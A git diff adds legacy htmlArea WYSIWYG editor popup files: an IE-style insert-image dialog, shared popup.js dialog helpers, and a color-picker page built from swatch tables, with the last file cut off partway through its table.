diff --git a/admin/htmlarea/popups/old_insert_image.html b/admin/htmlarea/popups/old_insert_image.html
new file mode 100755 (executable)
index 0000000..632bb7a
--- /dev/null
@@ -0,0 +1,206 @@
+<!-- based on insimage.dlg -->\r\r
+\r\r
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML 3.2//EN">\r\r
+<HTML  id=dlgImage STYLE="width: 432px; height: 194px; ">\r\r
+<HEAD>\r\r
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\r\r
+<meta http-equiv="MSThemeCompatible" content="Yes">\r\r
+<TITLE>Insert Image</TITLE>\r\r
+<style>\r\r
+  html, body, button, div, input, select, fieldset { font-family: MS Shell Dlg; font-size: 8pt; position: absolute; };\r\r
+</style>\r\r
+<SCRIPT defer>\r\r
+\r\r
+function _CloseOnEsc() {\r\r
+  if (event.keyCode == 27) { window.close(); return; }\r\r
+}\r\r
+\r\r
+function _getTextRange(elm) {\r\r
+  var r = elm.parentTextEdit.createTextRange();\r\r
+  r.moveToElementText(elm);\r\r
+  return r;\r\r
+}\r\r
+\r\r
+window.onerror = HandleError\r\r
+\r\r
+function HandleError(message, url, line) {\r\r
+  var str = "An error has occurred in this dialog." + "\n\n"\r\r
+  + "Error: " + line + "\n" + message;\r\r
+  alert(str);\r\r
+  window.close();\r\r
+  return true;\r\r
+}\r\r
+\r\r
+function Init() {\r\r
+  var elmSelectedImage;\r\r
+  var htmlSelectionControl = "Control";\r\r
+  var globalDoc = window.dialogArguments;\r\r
+  var grngMaster = globalDoc.selection.createRange();\r\r
+  \r\r
+  // event handlers  \r\r
+  document.body.onkeypress = _CloseOnEsc;\r\r
+  btnOK.onclick = new Function("btnOKClick()");\r\r
+\r\r
+  txtFileName.fImageLoaded = false;\r\r
+  txtFileName.intImageWidth = 0;\r\r
+  txtFileName.intImageHeight = 0;\r\r
+\r\r
+  if (globalDoc.selection.type == htmlSelectionControl) {\r\r
+    if (grngMaster.length == 1) {\r\r
+      elmSelectedImage = grngMaster.item(0);\r\r
+      if (elmSelectedImage.tagName == "IMG") {\r\r
+        txtFileName.fImageLoaded = true;\r\r
+        if (elmSelectedImage.src) {\r\r
+          txtFileName.value          = elmSelectedImage.src.replace(/^[^*]*(\*\*\*)/, "$1");  // fix placeholder src values that editor converted to abs paths\r\r
+          txtFileName.intImageHeight = elmSelectedImage.height;\r\r
+          txtFileName.intImageWidth  = elmSelectedImage.width;\r\r
+          txtVertical.value          = elmSelectedImage.vspace;\r\r
+          txtHorizontal.value        = elmSelectedImage.hspace;\r\r
+          txtBorder.value            = elmSelectedImage.border;\r\r
+          txtAltText.value           = elmSelectedImage.alt;\r\r
+          selAlignment.value         = elmSelectedImage.align;\r\r
+        }\r\r
+      }\r\r
+    }\r\r
+  }\r\r
+  txtFileName.value = txtFileName.value || "http://";\r\r
+  txtFileName.focus();\r\r
+}\r\r
+\r\r
+function _isValidNumber(txtBox) {\r\r
+  var val = parseInt(txtBox);\r\r
+  if (isNaN(val) || val < 0 || val > 999) { return false; }\r\r
+  return true;\r\r
+}\r\r
+\r\r
+function btnOKClick() {\r\r
+  var elmImage;\r\r
+  var intAlignment;\r\r
+  var htmlSelectionControl = "Control";\r\r
+  var globalDoc = window.dialogArguments;\r\r
+  var grngMaster = globalDoc.selection.createRange();\r\r
+  \r\r
+  // error checking\r\r
+\r\r
+  if (!txtFileName.value || txtFileName.value == "http://") { \r\r
+    alert("Image URL must be specified.");\r\r
+    txtFileName.focus();\r\r
+    return;\r\r
+  }\r\r
+  if (txtHorizontal.value && !_isValidNumber(txtHorizontal.value)) {\r\r
+    alert("Horizontal spacing must be a number between 0 and 999.");\r\r
+    txtHorizontal.focus();\r\r
+    return;\r\r
+  }\r\r
+  if (txtBorder.value && !_isValidNumber(txtBorder.value)) {\r\r
+    alert("Border thickness must be a number between 0 and 999.");\r\r
+    txtBorder.focus();\r\r
+    return;\r\r
+  }\r\r
+  if (txtVertical.value && !_isValidNumber(txtVertical.value)) {\r\r
+    alert("Vertical spacing must be a number between 0 and 999.");\r\r
+    txtVertical.focus();\r\r
+    return;\r\r
+  }\r\r
+\r\r
+  // delete selected content and replace with image\r\r
+  if (globalDoc.selection.type == htmlSelectionControl && !txtFileName.fImageLoaded) {\r\r
+    grngMaster.execCommand('Delete');\r\r
+    grngMaster = globalDoc.selection.createRange();\r\r
+  }\r\r
+    \r\r
+  idstr = "\" id=\"556e697175657e537472696e67";     // new image creation ID\r\r
+  if (!txtFileName.fImageLoaded) {\r\r
+    grngMaster.execCommand("InsertImage", false, idstr);\r\r
+    elmImage = globalDoc.all['556e697175657e537472696e67'];\r\r
+    elmImage.removeAttribute("id");\r\r
+    elmImage.removeAttribute("src");\r\r
+    grngMaster.moveStart("character", -1);\r\r
+  } else {\r\r
+    elmImage = grngMaster.item(0);\r\r
+    if (elmImage.src != txtFileName.value) {\r\r
+      grngMaster.execCommand('Delete');\r\r
+      grngMaster = globalDoc.selection.createRange();\r\r
+      grngMaster.execCommand("InsertImage", false, idstr);\r\r
+      elmImage = globalDoc.all['556e697175657e537472696e67'];\r\r
+      elmImage.removeAttribute("id");\r\r
+      elmImage.removeAttribute("src");\r\r
+      grngMaster.moveStart("character", -1);\r\r
+      txtFileName.fImageLoaded = false;\r\r
+    }\r\r
+    grngMaster = _getTextRange(elmImage);\r\r
+  }\r\r
+\r\r
+  if (txtFileName.fImageLoaded) {\r\r
+    elmImage.style.width = txtFileName.intImageWidth;\r\r
+    elmImage.style.height = txtFileName.intImageHeight;\r\r
+  }\r\r
+\r\r
+  if (txtFileName.value.length > 2040) {\r\r
+    txtFileName.value = txtFileName.value.substring(0,2040);\r\r
+  }\r\r
+  \r\r
+  elmImage.src = txtFileName.value;\r\r
+  \r\r
+  if (txtHorizontal.value != "") { elmImage.hspace = parseInt(txtHorizontal.value); }\r\r
+  else                           { elmImage.hspace = 0; }\r\r
+\r\r
+  if (txtVertical.value != "") { elmImage.vspace = parseInt(txtVertical.value); }\r\r
+  else                         { elmImage.vspace = 0; }\r\r
+  \r\r
+  elmImage.alt = txtAltText.value;\r\r
+\r\r
+  if (txtBorder.value != "") { elmImage.border = parseInt(txtBorder.value); }\r\r
+  else                       { elmImage.border = 0; }\r\r
+\r\r
+  elmImage.align = selAlignment.value;\r\r
+  grngMaster.collapse(false);\r\r
+  grngMaster.select();\r\r
+  window.close();\r\r
+}\r\r
+</SCRIPT>\r\r
+</HEAD>\r\r
+<BODY id=bdy onload="Init()" style="background: threedface; color: windowtext;" scroll=no>\r\r
+\r\r
+<DIV id=divFileName style="left: 0.98em; top: 1.2168em; width: 7em; height: 1.2168em; ">Image URL:</DIV>\r\r
+<INPUT ID=txtFileName type=text style="left: 8.54em; top: 1.0647em; width: 21.5em;height: 2.1294em; " tabIndex=10 onfocus="select()">\r\r
+\r\r
+<DIV id=divAltText style="left: 0.98em; top: 4.1067em; width: 6.58em; height: 1.2168em; ">Alternate Text:</DIV>\r\r
+<INPUT type=text ID=txtAltText tabIndex=15 style="left: 8.54em; top: 3.8025em; width: 21.5em; height: 2.1294em; " onfocus="select()">\r\r
+\r\r
+<FIELDSET id=fldLayout style="left: .9em; top: 7.1em; width: 17.08em; height: 7.6em;">\r\r
+<LEGEND id=lgdLayout>Layout</LEGEND>\r\r
+</FIELDSET>\r\r
+\r\r
+<FIELDSET id=fldSpacing style="left: 18.9em; top: 7.1em; width: 11em; height: 7.6em;">\r\r
+<LEGEND id=lgdSpacing>Spacing</LEGEND>\r\r
+</FIELDSET>\r\r
+\r\r
+<DIV id=divAlign style="left: 1.82em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Alignment:</DIV>\r\r
+<SELECT size=1 ID=selAlignment tabIndex=20 style="left: 10.36em; top: 8.8218em; width: 6.72em; height: 1.2168em; ">\r\r
+<OPTION id=optNotSet value=""> Not set </OPTION>\r\r
+<OPTION id=optLeft value=left> Left </OPTION>\r\r
+<OPTION id=optRight value=right> Right </OPTION>\r\r
+<OPTION id=optTexttop value=textTop> Texttop </OPTION>\r\r
+<OPTION id=optAbsMiddle value=absMiddle> Absmiddle </OPTION>\r\r
+<OPTION id=optBaseline value=baseline SELECTED> Baseline </OPTION>\r\r
+<OPTION id=optAbsBottom value=absBottom> Absbottom </OPTION>\r\r
+<OPTION id=optBottom value=bottom> Bottom </OPTION>\r\r
+<OPTION id=optMiddle value=middle> Middle </OPTION>\r\r
+<OPTION id=optTop value=top> Top </OPTION>\r\r
+</SELECT>\r\r
+\r\r
+<DIV id=divHoriz style="left: 19.88em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Horizontal:</DIV>\r\r
+<INPUT ID=txtHorizontal style="left: 24.92em; top: 8.8218em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=25 onfocus="select()">\r\r
+\r\r
+<DIV id=divBorder style="left: 1.82em; top: 12.0159em; width: 8.12em; height: 1.2168em; ">Border Thickness:</DIV>\r\r
+<INPUT ID=txtBorder style="left: 10.36em; top: 11.5596em; width: 6.72em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=21 onfocus="select()">\r\r
+\r\r
+<DIV id=divVert style="left: 19.88em; top: 12.0159em; width: 3.64em; height: 1.2168em; ">Vertical:</DIV>\r\r
+<INPUT ID=txtVertical style="left: 24.92em; top: 11.5596em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=30 onfocus="select()">\r\r
+\r\r
+<BUTTON ID=btnOK style="left: 31.36em; top: 1.0647em; width: 7em; height: 2.2em; " type=submit tabIndex=40>OK</BUTTON>\r\r
+<BUTTON ID=btnCancel style="left: 31.36em; top: 3.6504em; width: 7em; height: 2.2em; " type=reset tabIndex=45 onClick="window.close();">Cancel</BUTTON>\r\r
+\r\r
+</BODY>\r\r
+</HTML>
\ No newline at end of file
diff --git a/admin/htmlarea/popups/popup.js b/admin/htmlarea/popups/popup.js
new file mode 100755 (executable)
index 0000000..6f37710
--- /dev/null
@@ -0,0 +1,109 @@
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+function getAbsolutePos(el) {
+       var r = { x: el.offsetLeft, y: el.offsetTop };
+       if (el.offsetParent) {
+               var tmp = getAbsolutePos(el.offsetParent);
+               r.x += tmp.x;
+               r.y += tmp.y;
+       }
+       return r;
+};
+
+function comboSelectValue(c, val) {
+       var ops = c.getElementsByTagName("option");
+       for (var i = ops.length; --i >= 0;) {
+               var op = ops[i];
+               op.selected = (op.value == val);
+       }
+       c.value = val;
+};
+
+function __dlg_onclose() {
+       opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+       var body = document.body;
+       var body_height = 0;
+       if (typeof bottom == "undefined") {
+               var div = document.createElement("div");
+               body.appendChild(div);
+               var pos = getAbsolutePos(div);
+               body_height = pos.y;
+       } else {
+               var pos = getAbsolutePos(bottom);
+               body_height = pos.y + bottom.offsetHeight;
+       }
+       window.dialogArguments = opener.Dialog._arguments;
+       if (!document.all) {
+               window.sizeToContent();
+               window.sizeToContent(); // for reasons beyond understanding,
+                                       // only if we call it twice we get the
+                                       // correct size.
+               window.addEventListener("unload", __dlg_onclose, true);
+               // center on parent
+               var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+               var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+               window.moveTo(x, y);
+               window.innerWidth = body.offsetWidth + 5;
+               window.innerHeight = body_height + 2;
+       } else {
+               // window.dialogHeight = body.offsetHeight + 50 + "px";
+               // window.dialogWidth = body.offsetWidth + "px";
+               window.resizeTo(body.offsetWidth, body_height);
+               var ch = body.clientHeight;
+               var cw = body.clientWidth;
+               window.resizeBy(body.offsetWidth - cw, body_height - ch);
+               var W = body.offsetWidth;
+               var H = 2 * body_height - ch;
+               var x = (screen.availWidth - W) / 2;
+               var y = (screen.availHeight - H) / 2;
+               window.moveTo(x, y);
+       }
+       document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+       var types = ["span", "option", "td", "button", "div"];
+       for (var type in types) {
+               var spans = document.getElementsByTagName(types[type]);
+               for (var i = spans.length; --i >= 0;) {
+                       var span = spans[i];
+                       if (span.firstChild && span.firstChild.data) {
+                               var txt = i18n[span.firstChild.data];
+                               if (txt)
+                                       span.firstChild.data = txt;
+                       }
+               }
+       }
+       var txt = i18n[document.title];
+       if (txt)
+               document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+       opener.Dialog._return(val);
+       window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+       ev || (ev = window.event);
+       if (ev.keyCode == 27) {
+               window.close();
+               return false;
+       }
+       return true;
+};
diff --git a/admin/htmlarea/popups/select_color.html b/admin/htmlarea/popups/select_color.html
new file mode 100755 (executable)
index 0000000..54f1506
--- /dev/null
@@ -0,0 +1,598 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html style="width: 250px; height: 200px;"><head><!-- note: this version of the color picker is optimized for IE 5.5+ only --><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function _CloseOnEsc() {
+  if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() {                                                       // run on page load
+  __dlg_init();    // <!-- this can be found in popup.js -->
+  document.body.onkeypress = _CloseOnEsc;
+
+  var color = window.dialogArguments;
+  color = ValidateColor(color) || '000000';
+  View(color);                                                          // set default color
+}
+
+function View(color) {                  // preview color
+  document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+  document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) {                   // select color
+  var color = ValidateColor(string);
+  if (color == null) { alert("Invalid color code: " + string); }        // invalid color
+  else {                                                                // valid color
+    View(color);                          // show selected color
+    __dlg_close(color);
+  }
+}
+
+function ValidateColor(string) {                // return valid color code
+  string = string || '';
+  string = string + "";
+  string = string.toUpperCase();
+  var chars = '0123456789ABCDEF';
+  var out   = '';
+
+  for (var i=0; i<string.length; i++) {             // remove invalid color chars
+    var schar = string.charAt(i);
+    if (chars.indexOf(schar) != -1) { out += schar; }
+  }
+
+  if (out.length != 6) { return null; }            // check length
+  return out;
+}
+
+</script></head>
+
+<body style="margin: 0px; padding: 0px; background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" onload="Init()">
+
+<form method="get" style="margin: 0px; padding: 0px;" onsubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="0" cellpadding="4" cellspacing="0" width="100%">
+ <tbody><tr>
+  <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" valign="center"><div style="padding: 1px; background-color: rgb(0, 0, 0); height: 21px; width: 50px;"><div id="ColorPreview" style="height: 100%; width: 100%;"></div></div><br>
+</td>
+  <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" valign="center"><input name="ColorHex" id="ColorHex" value="" size="15" style="font-size: 12px;" type="text"></td>
+  <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" width="100%"><br>
+</td>
+ </tr>
+</tbody></table>
+</form>
+
+<table style="width: 100%; background-color: rgb(0, 0, 0);" border="0" cellpadding="0" cellspacing="1">
+<tbody><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('7A9EC0')" onclick="Set('7A9EC0')" style="width: 10px; height: 10px; background-color: rgb(122, 158, 192);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('003300')" onclick="Set('003300')" bgcolor="#003300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('006600')" onclick="Set('006600')" bgcolor="#006600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('009900')" onclick="Set('009900')" bgcolor="#009900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CC00')" onclick="Set('00CC00')" bgcolor="#00cc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FF00')" onclick="Set('00FF00')" bgcolor="#00ff00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('330000')" onclick="Set('330000')" bgcolor="#330000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('333300')" onclick="Set('333300')" bgcolor="#333300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('336600')" onclick="Set('336600')" bgcolor="#336600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('339900')" onclick="Set('339900')" bgcolor="#339900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CC00')" onclick="Set('33CC00')" bgcolor="#33cc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FF00')" onclick="Set('33FF00')" bgcolor="#33ff00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('660000')" onclick="Set('660000')" bgcolor="#660000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('663300')" onclick="Set('663300')" bgcolor="#663300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('666600')" onclick="Set('666600')" bgcolor="#666600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('669900')" onclick="Set('669900')" bgcolor="#669900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CC00')" onclick="Set('66CC00')" bgcolor="#66cc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FF00')" onclick="Set('66FF00')" bgcolor="#66ff00" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('B5B792')" onclick="Set('B5B792')" style="width: 10px; height: 10px; background-color: rgb(181, 183, 146);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('000033')" onclick="Set('000033')" bgcolor="#000033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('003333')" onclick="Set('003333')" bgcolor="#003333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('006633')" onclick="Set('006633')" bgcolor="#006633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('009933')" onclick="Set('009933')" bgcolor="#009933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CC33')" onclick="Set('00CC33')" bgcolor="#00cc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FF33')" onclick="Set('00FF33')" bgcolor="#00ff33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('330033')" onclick="Set('330033')" bgcolor="#330033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('333333')" onclick="Set('333333')" bgcolor="#333333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('336633')" onclick="Set('336633')" bgcolor="#336633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('339933')" onclick="Set('339933')" bgcolor="#339933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CC33')" onclick="Set('33CC33')" bgcolor="#33cc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FF33')" onclick="Set('33FF33')" bgcolor="#33ff33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('660033')" onclick="Set('660033')" bgcolor="#660033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('663333')" onclick="Set('663333')" bgcolor="#663333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('666633')" onclick="Set('666633')" bgcolor="#666633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('669933')" onclick="Set('669933')" bgcolor="#669933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CC33')" onclick="Set('66CC33')" bgcolor="#66cc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FF33')" onclick="Set('66FF33')" bgcolor="#66ff33" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('5B84AB')" onclick="Set('5B84AB')" style="width: 10px; height: 10px; background-color: rgb(91, 132, 171);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('000066')" onclick="Set('000066')" bgcolor="#000066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('003366')" onclick="Set('003366')" bgcolor="#003366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('006666')" onclick="Set('006666')" bgcolor="#006666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('009966')" onclick="Set('009966')" bgcolor="#009966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CC66')" onclick="Set('00CC66')" bgcolor="#00cc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FF66')" onclick="Set('00FF66')" bgcolor="#00ff66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('330066')" onclick="Set('330066')" bgcolor="#330066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('333366')" onclick="Set('333366')" bgcolor="#333366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('336666')" onclick="Set('336666')" bgcolor="#336666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('339966')" onclick="Set('339966')" bgcolor="#339966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CC66')" onclick="Set('33CC66')" bgcolor="#33cc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FF66')" onclick="Set('33FF66')" bgcolor="#33ff66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('660066')" onclick="Set('660066')" bgcolor="#660066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('663366')" onclick="Set('663366')" bgcolor="#663366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('666666')" onclick="Set('666666')" bgcolor="#666666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('669966')" onclick="Set('669966')" bgcolor="#669966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CC66')" onclick="Set('66CC66')" bgcolor="#66cc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FF66')" onclick="Set('66FF66')" bgcolor="#66ff66" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('077D8B')" onclick="Set('077D8B')" style="width: 10px; height: 10px; background-color: rgb(7, 125, 139);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('000099')" onclick="Set('000099')" bgcolor="#000099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('003399')" onclick="Set('003399')" bgcolor="#003399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('006699')" onclick="Set('006699')" bgcolor="#006699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('009999')" onclick="Set('009999')" bgcolor="#009999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CC99')" onclick="Set('00CC99')" bgcolor="#00cc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FF99')" onclick="Set('00FF99')" bgcolor="#00ff99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('330099')" onclick="Set('330099')" bgcolor="#330099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('333399')" onclick="Set('333399')" bgcolor="#333399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('336699')" onclick="Set('336699')" bgcolor="#336699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('339999')" onclick="Set('339999')" bgcolor="#339999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CC99')" onclick="Set('33CC99')" bgcolor="#33cc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FF99')" onclick="Set('33FF99')" bgcolor="#33ff99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('660099')" onclick="Set('660099')" bgcolor="#660099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('663399')" onclick="Set('663399')" bgcolor="#663399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('666699')" onclick="Set('666699')" bgcolor="#666699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('669999')" onclick="Set('669999')" bgcolor="#669999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CC99')" onclick="Set('66CC99')" bgcolor="#66cc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FF99')" onclick="Set('66FF99')" bgcolor="#66ff99" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9C7BBA')" onclick="Set('9C7BBA')" style="width: 10px; height: 10px; background-color: rgb(156, 123, 186);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0000CC')" onclick="Set('0000CC')" bgcolor="#0000cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0033CC')" onclick="Set('0033CC')" bgcolor="#0033cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0066CC')" onclick="Set('0066CC')" bgcolor="#0066cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0099CC')" onclick="Set('0099CC')" bgcolor="#0099cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CCCC')" onclick="Set('00CCCC')" bgcolor="#00cccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FFCC')" onclick="Set('00FFCC')" bgcolor="#00ffcc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3300CC')" onclick="Set('3300CC')" bgcolor="#3300cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3333CC')" onclick="Set('3333CC')" bgcolor="#3333cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3366CC')" onclick="Set('3366CC')" bgcolor="#3366cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3399CC')" onclick="Set('3399CC')" bgcolor="#3399cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CCCC')" onclick="Set('33CCCC')" bgcolor="#33cccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FFCC')" onclick="Set('33FFCC')" bgcolor="#33ffcc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6600CC')" onclick="Set('6600CC')" bgcolor="#6600cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6633CC')" onclick="Set('6633CC')" bgcolor="#6633cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6666CC')" onclick="Set('6666CC')" bgcolor="#6666cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6699CC')" onclick="Set('6699CC')" bgcolor="#6699cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CCCC')" onclick="Set('66CCCC')" bgcolor="#66cccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FFCC')" onclick="Set('66FFCC')" bgcolor="#66ffcc" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('5F9EA0')" onclick="Set('5F9EA0')" style="width: 10px; height: 10px; background-color: rgb(95, 158, 160);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0000FF')" onclick="Set('0000FF')" bgcolor="#0000ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0033FF')" onclick="Set('0033FF')" bgcolor="#0033ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0066FF')" onclick="Set('0066FF')" bgcolor="#0066ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0099FF')" onclick="Set('0099FF')" bgcolor="#0099ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CCFF')" onclick="Set('00CCFF')" bgcolor="#00ccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FFFF')" onclick="Set('00FFFF')" bgcolor="#00ffff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3300FF')" onclick="Set('3300FF')" bgcolor="#3300ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3333FF')" onclick="Set('3333FF')" bgcolor="#3333ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3366FF')" onclick="Set('3366FF')" bgcolor="#3366ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3399FF')" onclick="Set('3399FF')" bgcolor="#3399ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CCFF')" onclick="Set('33CCFF')" bgcolor="#33ccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FFFF')" onclick="Set('33FFFF')" bgcolor="#33ffff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6600FF')" onclick="Set('6600FF')" bgcolor="#6600ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6633FF')" onclick="Set('6633FF')" bgcolor="#6633ff" height="10" width="10"><br>
